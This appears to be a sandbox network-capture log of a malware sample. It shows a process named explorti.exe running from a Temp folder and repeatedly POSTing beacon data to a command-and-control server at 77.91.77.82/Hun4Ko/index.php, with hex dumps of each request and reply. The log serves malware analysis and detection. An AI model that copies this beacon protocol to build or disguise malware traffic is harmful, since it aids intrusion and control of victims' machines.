Jul 4, 2024 20:35:11.679498911 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:12.413800955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:12.416814089 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:12.645466089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49831	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:12.757935047 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:13.479960918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:13.482639074 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:13.708605051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49832	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:13.820230961 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:14.605680943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:14.606509924 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:14.826128960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49833	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:14.944787025 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:15.637577057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:15.651628017 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:15.869179010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49834	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:15.976634979 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:16.686378002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:16.687295914 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:16.912147045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49835	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:17.026922941 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:17.749104023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:17.750279903 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:17.972351074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49836	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:18.102693081 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:18.841670990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:18.842607975 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:19.074031115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49837	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:19.197933912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:19.917465925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:19.918240070 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:20.143163919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49838	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:20.272216082 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:20.979697943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49839	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:20.989357948 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:21.700741053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49840	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:21.822184086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:22.521107912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:22.524914980 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:22.741822958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49841	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:22.854938984 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:23.550749063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:35:23.554928064 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:23.772536993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49842	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:23.888451099 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:24.598838091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49843	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:24.608676910 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:25.339534998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49844	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:25.462827921 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:26.164191961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
